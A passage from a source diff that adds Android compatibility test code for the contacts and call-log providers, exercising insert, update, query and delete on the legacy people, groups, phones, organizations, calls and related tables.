+ }
+
+ /**
+ * Polls every so often to see if all contacts have been deleted. If not deleted in the
+ * pre-defined threshold, fails.
+ */
+ private void assertContactsDeletedEventually(long start, List<ContactIdPair> idList) {
+ // Can not use newArrayList() because the version that accepts size is missing.
+ ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
+ remaining.addAll(idList);
+ while (!remaining.isEmpty()) {
+ // Account cleanup is asynchronous, wait a bit before checking.
+ SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+ assertWithinTimeoutLimit(start, "Contacts have not been deleted after account"
+ + " removal.");
+
+ ArrayList<ContactIdPair> toBeRemoved = new ArrayList<>();
+ for (ContactIdPair ids : remaining) {
+ if (!RawContactUtil.rawContactExistsById(mResolver, ids.mRawContactId)) {
+ toBeRemoved.add(ids);
+ }
+ }
+ remaining.removeAll(toBeRemoved);
+ }
+
+ // All contacts deleted. Pass.
+ }
+
+ private void assertWithinTimeoutLimit(long start, String message) {
+ long now = System.currentTimeMillis();
+ long elapsed = now - start;
+ if (elapsed > ASYNC_TIMEOUT_LIMIT_MS) {
+ fail(elapsed + "ms has elapsed. The limit is " + ASYNC_TIMEOUT_LIMIT_MS + "ms. " +
+ message);
+ }
+ }
+
+ /**
+ * Creates a given number of contacts for an account.
+ */
+ private ArrayList<ContactIdPair> createContacts(Account account, int numContacts) {
+ ArrayList<ContactIdPair> accountIds = new ArrayList<>();
+ for (int i = 0; i < numContacts; i++) {
+ accountIds.add(DatabaseAsserts.assertAndCreateContact(mResolver, account));
+ }
+ return accountIds;
+ }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java
new file mode 100644
index 0000000..c9e246d
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java
@@ -0,0 +1,911 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.drawable.BitmapDrawable;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.provider.Contacts;
+import android.provider.Contacts.ContactMethods;
+import android.provider.Contacts.Extensions;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.Organizations;
+import android.provider.Contacts.People;
+import android.provider.Contacts.PeopleColumns;
+import android.provider.Contacts.Phones;
+import android.provider.Contacts.Photos;
+import android.provider.Contacts.Settings;
+import android.provider.ContactsContract;
+import android.telephony.PhoneNumberUtils;
+import android.test.InstrumentationTestCase;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Date;
+
+public class ContactsTest extends InstrumentationTestCase {
+ private ContentResolver mContentResolver;
+ private ContentProviderClient mProvider;
+ private ContentProviderClient mCallLogProvider;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+ mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+ mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's people table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testPeopleTable() {
+ final String[] PEOPLE_PROJECTION = new String[] {
+ People._ID,
+ People.NAME, People.NOTES, People.TIMES_CONTACTED,
+ People.LAST_TIME_CONTACTED, People.STARRED,
+ People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
+ final int ID_INDEX = 0;
+ final int NAME_INDEX = 1;
+ final int NOTES_INDEX = 2;
+ final int TIMES_CONTACTED_INDEX = 3;
+ final int LAST_TIME_CONTACTED_INDEX = 4;
+ final int STARRED_INDEX = 5;
+ final int CUSTOM_RINGTONE_INDEX = 6;
+ final int SEND_TO_VOICEMAIL_INDEX = 7;
+
+ String insertPeopleName = "name_insert";
+ String insertPeopleNotes = "notes_insert";
+ String updatePeopleName = "name_update";
+ String updatePeopleNotes = "notes_update";
+
+ try {
+ mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
+ new String[] {insertPeopleName});
+ // Test: insert
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, insertPeopleName);
+ value.put(PeopleColumns.NOTES, insertPeopleNotes);
+ value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
+ value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
+ value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
+
+ Uri uri = mProvider.insert(People.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(People.CONTENT_URI,
+ PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
+ new String[] {insertPeopleName}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
+ assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
+ assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
+ assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+ assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
+ assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+ assertEquals(0, cursor.getInt(STARRED_INDEX));
+ // TODO: Figure out what can be tested for the SYNC_* columns
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ long now = new Date().getTime();
+ value.put(PeopleColumns.NAME, updatePeopleName);
+ value.put(PeopleColumns.NOTES, updatePeopleNotes);
+ value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
+
+ mProvider.update(uri, value, null, null);
+ cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+ "people._id" + " = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
+ assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
+ assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX)); // Not supported by CP1
+ assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+ assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX)); // Not supported by CP1
+ assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+ assertEquals(0, cursor.getInt(STARRED_INDEX));
+ // TODO: Figure out what can be tested for the SYNC_* columns
+ cursor.close();
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+ "people._id" + " = " + id, null, null, null);
+ assertEquals(0, cursor.getCount());
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's groups table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testGroupsTable() {
+ final String[] GROUPS_PROJECTION = new String[] {
+ Groups._ID, Groups.NAME, Groups.NOTES,
+ Groups.SYSTEM_ID};
+ final int ID_INDEX = 0;
+ final int NAME_INDEX = 1;
+ final int NOTES_INDEX = 2;
+ final int SYSTEM_ID_INDEX = 3;
+
+ String insertGroupsName = "name_insert";
+ String insertGroupsNotes = "notes_insert";
+ String updateGroupsNotes = "notes_update";
+ String updateGroupsSystemId = "system_id_update";
+
+ try {
+ // Test: insert
+ ContentValues value = new ContentValues();
+ value.put(GroupsColumns.NAME, insertGroupsName);
+ value.put(GroupsColumns.NOTES, insertGroupsNotes);
+ value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+
+ Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(Groups.CONTENT_URI,
+ GROUPS_PROJECTION, Groups._ID + " = ?",
+ new String[] {uri.getPathSegments().get(1)}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
+ assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
+ assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(GroupsColumns.NOTES, updateGroupsNotes);
+ value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
+
+ assertEquals(1, mProvider.update(uri, value, null, null));
+ cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+ Groups._ID + " = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
+ assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
+ cursor.close();
+
+ // Test: delete
+ assertEquals(1, mProvider.delete(uri, null, null));
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's photos table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testPhotosTable() {
+ final String[] PHOTOS_PROJECTION = new String[] {
+ Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
+ Photos.LOCAL_VERSION, Photos.DATA,
+ Photos.SYNC_ERROR};
+ final int ID_INDEX = 0;
+ final int EXISTS_ON_SERVER_INDEX = 1;
+ final int PERSON_ID_INDEX = 2;
+ final int LOCAL_VERSION_INDEX = 3;
+ final int DATA_INDEX = 4;
+ final int SYNC_ERROR_INDEX = 5;
+
+ String updatePhotosLocalVersion = "local_version1";
+
+ try {
+ Context context = getInstrumentation().getTargetContext();
+ InputStream inputStream = context.getResources().openRawResource(
+ android.provider.cts.contacts.R.drawable.testimage);
+ int size = inputStream.available();
+ byte[] data = new byte[size];
+ inputStream.read(data);
+ BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
+ android.provider.cts.contacts.R.drawable.testimage);
+ // Test: insert
+ ContentValues value = new ContentValues();
+ value.put(Photos.PERSON_ID, 1);
+ value.put(Photos.LOCAL_VERSION, "local_version0");
+ value.put(Photos.DATA, data);
+ try {
+ mProvider.insert(Photos.CONTENT_URI, value);
+ fail("Should throw out UnsupportedOperationException.");
+ } catch (UnsupportedOperationException e) {
+ // Don't support direct insert operation to photos URI.
+ }
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ } catch (IOException e) {
+ fail("Unexpected IOException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's phones table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testPhonesTable() {
+ final String[] PHONES_PROJECTION = new String[] {
+ Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
+ Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
+ final int ID_INDEX = 0;
+ final int PERSON_ID_INDEX = 1;
+ final int TYPE_INDEX = 2;
+ final int NUMBER_INDEX = 3;
+ final int NUMBER_KEY_INDEX = 4;
+ final int LABEL_INDEX = 5;
+ final int ISPRIMARY_INDEX = 6;
+
+ String insertPhonesNumber = "0123456789";
+ String updatePhonesNumber = "987*654yu3211+";
+ String customeLabel = "custom_label";
+
+ try {
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, "name_phones_test_stub");
+ Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+ int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+ // Test: insert
+ value.clear();
+ value.put(Phones.PERSON_ID, peopleId);
+ value.put(Phones.TYPE, Phones.TYPE_HOME);
+ value.put(Phones.NUMBER, insertPhonesNumber);
+ value.put(Phones.ISPRIMARY, 1);
+
+ Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(Phones.CONTENT_URI,
+ PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
+ assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
+ assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
+ cursor.getString(NUMBER_KEY_INDEX));
+ assertNull(cursor.getString(LABEL_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
+ value.put(Phones.NUMBER, updatePhonesNumber);
+ value.put(Phones.LABEL, customeLabel);
+
+ mProvider.update(uri, value, null, null);
+ cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+ "phones._id = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+ assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
+ assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
+ cursor.getString(NUMBER_KEY_INDEX));
+ assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ cursor.close();
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+ Phones.PERSON_ID + " = " + peopleId, null, null, null);
+ assertEquals(0, cursor.getCount());
+
+ mProvider.delete(peopleUri, null, null);
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's organizations table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testOrganizationsTable() {
+ final String[] ORGANIZATIONS_PROJECTION = new String[] {
+ Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
+ Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
+ Organizations.PERSON_ID};
+ final int ID_INDEX = 0;
+ final int COMPANY_INDEX = 1;
+ final int TITLE_INDEX = 2;
+ final int ISPRIMARY_INDEX = 3;
+ final int TYPE_INDEX = 4;
+ final int LABEL_INDEX = 5;
+ final int PERSON_ID_INDEX = 6;
+
+ String insertOrganizationsCompany = "company_insert";
+ String insertOrganizationsTitle = "title_insert";
+ String updateOrganizationsCompany = "company_update";
+ String updateOrganizationsTitle = "title_update";
+ String customOrganizationsLabel = "custom_label";
+
+ try {
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, "name_organizations_test_stub");
+ Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+ int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+ // Test: insert
+ value.clear();
+ value.put(Organizations.COMPANY, insertOrganizationsCompany);
+ value.put(Organizations.TITLE, insertOrganizationsTitle);
+ value.put(Organizations.TYPE, Organizations.TYPE_WORK);
+ value.put(Organizations.PERSON_ID, peopleId);
+ value.put(Organizations.ISPRIMARY, 1);
+
+ Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(
+ Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+ Organizations.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+ assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+ assertNull(cursor.getString(LABEL_INDEX));
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(Organizations.COMPANY, updateOrganizationsCompany);
+ value.put(Organizations.TITLE, updateOrganizationsTitle);
+ value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
+ value.put(Organizations.LABEL, customOrganizationsLabel);
+
+ mProvider.update(uri, value, null, null);
+ cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+ "organizations._id" + " = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+ assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+ assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ cursor.close();
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+ Organizations.PERSON_ID + " = " + peopleId, null, null, null);
+ assertEquals(0, cursor.getCount());
+
+ mProvider.delete(peopleUri, null, null);
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's calls table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testCallsTable() {
+ final String[] CALLS_PROJECTION = new String[] {
+ Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
+ Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
+ Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
+ Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
+ Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
+ Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
+ final int ID_INDEX = 0;
+ final int NUMBER_INDEX = 1;
+ final int DATE_INDEX = 2;
+ final int DURATION_INDEX = 3;
+ final int TYPE_INDEX = 4;
+ final int NEW_INDEX = 5;
+ final int CACHED_NAME_INDEX = 6;
+ final int CACHED_NUMBER_TYPE_INDEX = 7;
+ final int CACHED_NUMBER_LABEL_INDEX = 8;
+ final int CACHED_FORMATTED_NUMBER_INDEX = 9;
+ final int CACHED_MATCHED_NUMBER_INDEX = 10;
+ final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
+ final int CACHED_LOOKUP_URI_INDEX = 12;
+ final int CACHED_PHOTO_ID_INDEX = 13;
+ final int COUNTRY_ISO_INDEX = 14;
+ final int GEOCODED_LOCATION_INDEX = 15;
+ final int CACHED_PHOTO_URI_INDEX = 16;
+ final int LAST_MODIFIED_INDEX = 17;
+
+ String insertCallsNumber = "0123456789";
+ int insertCallsDuration = 120;
+ String insertCallsName = "cached_name_insert";
+ String insertCallsNumberLabel = "cached_label_insert";
+
+ String updateCallsNumber = "987654321";
+ int updateCallsDuration = 310;
+ String updateCallsName = "cached_name_update";
+ String updateCallsNumberLabel = "cached_label_update";
+ String updateCachedFormattedNumber = "987-654-4321";
+ String updateCachedMatchedNumber = "987-654-4321";
+ String updateCachedNormalizedNumber = "+1987654321";
+ String updateCachedLookupUri = "cached_lookup_uri_update";
+ long updateCachedPhotoId = 100;
+ String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
+ String updateCountryIso = "hk";
+ String updateGeocodedLocation = "Hong Kong";
+
+ try {
+ // Test: insert
+ int insertDate = (int) new Date().getTime();
+ ContentValues value = new ContentValues();
+ value.put(Calls.NUMBER, insertCallsNumber);
+ value.put(Calls.DATE, insertDate);
+ value.put(Calls.DURATION, insertCallsDuration);
+ value.put(Calls.TYPE, Calls.INCOMING_TYPE);
+ value.put(Calls.NEW, 0);
+ value.put(Calls.CACHED_NAME, insertCallsName);
+ value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
+ value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
+
+ Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
+ Cursor cursor = mCallLogProvider.query(
+ Calls.CONTENT_URI, CALLS_PROJECTION,
+ Calls.NUMBER + " = ?",
+ new String[] {insertCallsNumber}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
+ assertEquals(insertDate, cursor.getInt(DATE_INDEX));
+ assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
+ assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
+ assertEquals(0, cursor.getInt(NEW_INDEX));
+ assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
+ assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+ assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+ assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update. Also add new cached fields to simulate extra cached fields being
+ // inserted into the call log after the initial lookup.
+ int now = (int) new Date().getTime();
+ value.clear();
+ value.put(Calls.NUMBER, updateCallsNumber);
+ value.put(Calls.DATE, now);
+ value.put(Calls.DURATION, updateCallsDuration);
+ value.put(Calls.TYPE, Calls.MISSED_TYPE);
+ value.put(Calls.NEW, 1);
+ value.put(Calls.CACHED_NAME, updateCallsName);
+ value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
+ value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
+ value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
+ value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
+ value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
+ value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
+ value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
+ value.put(Calls.COUNTRY_ISO, updateCountryIso);
+ value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
+ value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
+
+ mCallLogProvider.update(uri, value, null, null);
+ cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+ Calls._ID + " = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
+ assertEquals(now, cursor.getInt(DATE_INDEX));
+ assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
+ assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
+ assertEquals(1, cursor.getInt(NEW_INDEX));
+ assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
+ assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+ assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+ assertEquals(updateCachedFormattedNumber,
+ cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
+ assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
+ assertEquals(updateCachedNormalizedNumber,
+ cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
+ assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
+ assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
+ assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
+ assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
+ assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
+ assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+ cursor.close();
+
+ // Test: delete
+ mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
+ cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+ Calls._ID + " = " + id, null, null, null);
+ assertEquals(0, cursor.getCount());
+ cursor.close();
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's contact_methods table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testContactMethodsTable() {
+ final String[] CONTACT_METHODS_PROJECTION = new String[] {
+ ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
+ ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
+ ContactMethods.LABEL, ContactMethods.ISPRIMARY};
+ final int ID_INDEX = 0;
+ final int PERSON_ID_INDEX = 1;
+ final int KIND_INDEX = 2;
+ final int DATA_INDEX = 3;
+ final int AUX_DATA_INDEX = 4;
+ final int TYPE_INDEX = 5;
+ final int LABEL_INDEX = 6;
+ final int ISPRIMARY_INDEX = 7;
+
+ int insertKind = Contacts.KIND_EMAIL;
+ String insertData = "sample@gmail.com";
+ String insertAuxData = "auxiliary_data_insert";
+ String updateData = "elpmas@liamg.com";
+ String updateAuxData = "auxiliary_data_update";
+ String customLabel = "custom_label";
+
+ try {
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
+ Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+ int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+ // Test: insert
+ value.clear();
+ value.put(ContactMethods.PERSON_ID, peopleId);
+ value.put(ContactMethods.KIND, insertKind);
+ value.put(ContactMethods.DATA, insertData);
+ value.put(ContactMethods.AUX_DATA, insertAuxData);
+ value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
+ value.put(ContactMethods.ISPRIMARY, 1);
+
+ Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(
+ ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
+ ContactMethods.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ assertEquals(insertKind, cursor.getInt(KIND_INDEX));
+ assertEquals(insertData, cursor.getString(DATA_INDEX));
+ assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
+ assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+ assertNull(cursor.getString(LABEL_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(ContactMethods.DATA, updateData);
+ value.put(ContactMethods.AUX_DATA, updateAuxData);
+ value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
+ value.put(ContactMethods.LABEL, customLabel);
+ value.put(ContactMethods.ISPRIMARY, 1);
+
+ mProvider.update(uri, value, null, null);
+ cursor = mProvider.query(ContactMethods.CONTENT_URI,
+ CONTACT_METHODS_PROJECTION,
+ "contact_methods._id" + " = " + id, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ assertEquals(updateData, cursor.getString(DATA_INDEX));
+ assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
+ assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+ assertEquals(customLabel, cursor.getString(LABEL_INDEX));
+ assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+ cursor.close();
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(ContactMethods.CONTENT_URI,
+ CONTACT_METHODS_PROJECTION,
+ "contact_methods._id" + " = " + id, null, null, null);
+ assertEquals(0, cursor.getCount());
+ cursor.close();
+
+ mProvider.delete(peopleUri, null, null);
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's settings table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testSettingsTable() {
+ final String[] SETTINGS_PROJECTION = new String[] {
+ Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
+ Settings.KEY, Settings.VALUE};
+ final int ID_INDEX = 0;
+ final int SYNC_ACCOUNT_NAME_INDEX = 1;
+ final int SYNC_ACCOUNT_TYPE_INDEX = 2;
+ final int KEY_INDEX = 3;
+ final int VALUE_INDEX = 4;
+
+ String insertKey = "key_insert";
+ String insertValue = "value_insert";
+ String updateKey = "key_update";
+ String updateValue = "value_update";
+
+ try {
+ // Test: insert
+ ContentValues value = new ContentValues();
+ value.put(Settings.KEY, insertKey);
+ value.put(Settings.VALUE, insertValue);
+
+ try {
+ mProvider.insert(Settings.CONTENT_URI, value);
